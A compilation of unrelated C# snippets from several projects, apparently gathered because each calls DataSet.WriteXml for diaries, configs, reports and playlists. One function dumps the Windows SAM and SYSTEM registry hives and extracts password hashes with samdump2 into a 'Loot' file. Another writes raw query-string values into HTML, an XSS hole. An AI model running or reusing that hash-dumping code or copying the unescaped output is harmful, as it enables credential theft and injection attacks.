private void SaveProject(string fileName) { try { if (fData.Project.Count > 0) { foreach (DataSet1.ProjectRow dr in fData.Project.Rows) { dr.DateOfModified = DateTime.Now; dr.Name = fileName; } } else { DataSet1.ProjectRow pr = fData.Project.NewProjectRow(); pr.Name = fileName; pr.DateOfCreation = DateTime.Now; pr.DateOfModified = DateTime.Now; fData.Project.AddProjectRow(pr); } fData.WriteXml(fileName, XmlWriteMode.IgnoreSchema); } catch (Exception ex) { } }
//日記を保存するボタンが押された際に呼ばれるメソッド public void OnDiarySaveButtonClicked() { //選択された日付の日記を探す var row = dataSet.diaryDataTable.Rows.Find(Form1Data.date); var colum = dataSet.diaryDataTable.Columns.IndexOf("日記"); if (row != null) { dataSet.diaryDataTable.Rows.Remove(row); } dataSet.diaryDataTable.Rows.Add(Form1Data.date, Form1Data.diaryEditTextBoxText); dataSet.WriteXml(fileName); FindMonthDiary(); }
/// <summary> /// 增加 /// </summary> public void add() { System.Text.StringBuilder list = new System.Text.StringBuilder(); DataSet ds = new DataSet1(); ds.ReadXml(Server.MapPath("work.xml")); DataRow row = ds.Tables[0].NewRow(); row["cname"] = Request.QueryString["cname"]; row["cmoney"] = Request.QueryString["cmoney"]; row["mark"] = Request.QueryString["mark"]; ds.Tables[0].Rows.Add(row); ds.WriteXml(Server.MapPath("work.xml")); DataSet dss = new DataSet1(); dss.ReadXml(Server.MapPath("work.xml")); int ircount = dss.Tables[0].Rows.Count; int maxid = 0; for (int i = 0; i < ircount; i++) { if (Convert.ToInt32(dss.Tables[0].Rows[i][0]) > maxid) { maxid = Convert.ToInt32(dss.Tables[0].Rows[i][0]); } } list.Append("<tr id='d" + maxid + "'>"); list.Append("<td><a href='javascript:del(" + maxid.ToString() + ")'>删除</a></td>"); list.Append("<td>"+Request.QueryString["cname"]+"</td>"); list.Append("<td>" + Request.QueryString["cmoney"] + "</td>"); list.Append("<td>" + Request.QueryString["mark"] + "</td></tr>"); Response.Write(list.ToString()); Response.End(); }
private void ManagerReportXMLClients_Load(object sender, EventArgs e) { // TODO: This line of code loads data into the 'DataSet1.Passengers' table. You can move, or remove it, as needed. this.PassengersTableAdapter.Fill(this.DataSet1.Passengers); ReportDataSource datasource = new ReportDataSource("DataSet1", this.DataSet1.Tables["Passengers"]); DataSet1.WriteXml("XMLFile1.xml", XmlWriteMode.WriteSchema); // создание специального объекта- xslt-преобразователя XslCompiledTransform xslt = new XslCompiledTransform(); // загрузка файла с xslt-преобразованием xslt.Load("../../XMLFileClient.xslt"); // выполнение преобразования и генерация на основе xml-файла //html-файла представления данных xslt.Transform("XMLFileClient1.xml", "D:\\XMLFileClient.html"); // загрузка полученного html_файла в элемент управления WebBrowser webBrowser1.Navigate("D:\\XMLFileClient.html"); }
private void сохранитьToolStripMenuItem_Click(object sender, EventArgs e) { if (saveFileDialog1.ShowDialog() == DialogResult.OK) { DataSet1.WriteXml(saveFileDialog1.FileName); } }
private void configDelete() { if (ds.DataTable1.Rows.Count <= 1) { return; } if (MessageBox.Show("Willst Du wirklich die aktuell ausgewählte Konfiguration unwiderruflich löschen?", "Löschen", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == System.Windows.Forms.DialogResult.No) { return; } try { ds.DataTable1.Rows[cmbKonfiguration.SelectedIndex].Delete(); cmbKonfiguration.SelectedIndex = 0; ds.WriteXml("./config.xml"); } catch (Exception ex) { webbrowser(ex.Message); } }
public static void dumpreghash() { DataSet1 testdataset = new DataSet1(); if (File.Exists(@"c:\windows\temp\sys")) { File.Delete(@"c:\windows\temp\sys"); File.Delete(@"c:\windows\temp\sam"); } ProcessStartInfo psi = new ProcessStartInfo(@"C:\Windows\System32\reg.exe", @"save HKLM\SAM c:\windows\temp\sam"); psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; psi.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; psi.UseShellExecute = false; System.Diagnostics.Process reg; reg = System.Diagnostics.Process.Start(psi); ProcessStartInfo psi2 = new ProcessStartInfo(@"C:\Windows\System32\reg.exe", @"save HKLM\SYSTEM c:\windows\temp\sys"); psi2.RedirectStandardOutput = true; psi2.RedirectStandardError = true; psi2.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; psi2.UseShellExecute = false; System.Diagnostics.Process reg2; reg2 = System.Diagnostics.Process.Start(psi2); int milliseconds = 2000; Thread.Sleep(milliseconds); ProcessStartInfo psi3 = new ProcessStartInfo(@"c:\samdump2.exe", @"c:\windows\temp\sys c:\windows\temp\sam"); psi3.RedirectStandardOutput = true; psi3.RedirectStandardError = true; psi3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Normal; psi3.UseShellExecute = false; System.Diagnostics.Process reg3; reg3 = System.Diagnostics.Process.Start(psi3); using (System.IO.StreamReader myOutput = reg3.StandardOutput) { testdataset.Tables["Loot"].Rows.Add(myOutput.ReadToEnd(), "host"); } testdataset.WriteXml("C:\\Hashes.txt"); }
public static void getperms(string folder, string outputfile) { DataSet1 testdataset = new DataSet1(); TreeScan(folder); foreach (string item in filesfolders) { FileSecurity fileSecurity = new FileSecurity(item, AccessControlSections.Access); AuthorizationRuleCollection arc = fileSecurity.GetAccessRules(true, true, typeof(NTAccount)); foreach (FileSystemAccessRule rule in arc) { testdataset.Tables["Permissions"].Rows.Add(item, rule.IdentityReference, rule.AccessControlType, rule.FileSystemRights); } } testdataset.WriteXml(outputfile); }
//сохранение private void save(object sender, RoutedEventArgs e) { SaveFileDialog f = new SaveFileDialog { Filter = "xml|*.xml", AddExtension = true, DefaultExt = "xml" }; try { f.ShowDialog(); Stream xml = File.OpenWrite(f.FileName); set.WriteXml(xml); xml.Close(); } catch (Exception E) { MessageBox.Show(E.Message); } }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { dataset.WriteXml("Playlists.xml"); }
private void Form1_FormClosing(object sender, FormClosingEventArgs e) { dataSet1.WriteXml(FileName); richTextBox2.SaveFile(ms_sql_table_stars_script_FileName, RichTextBoxStreamType.PlainText); }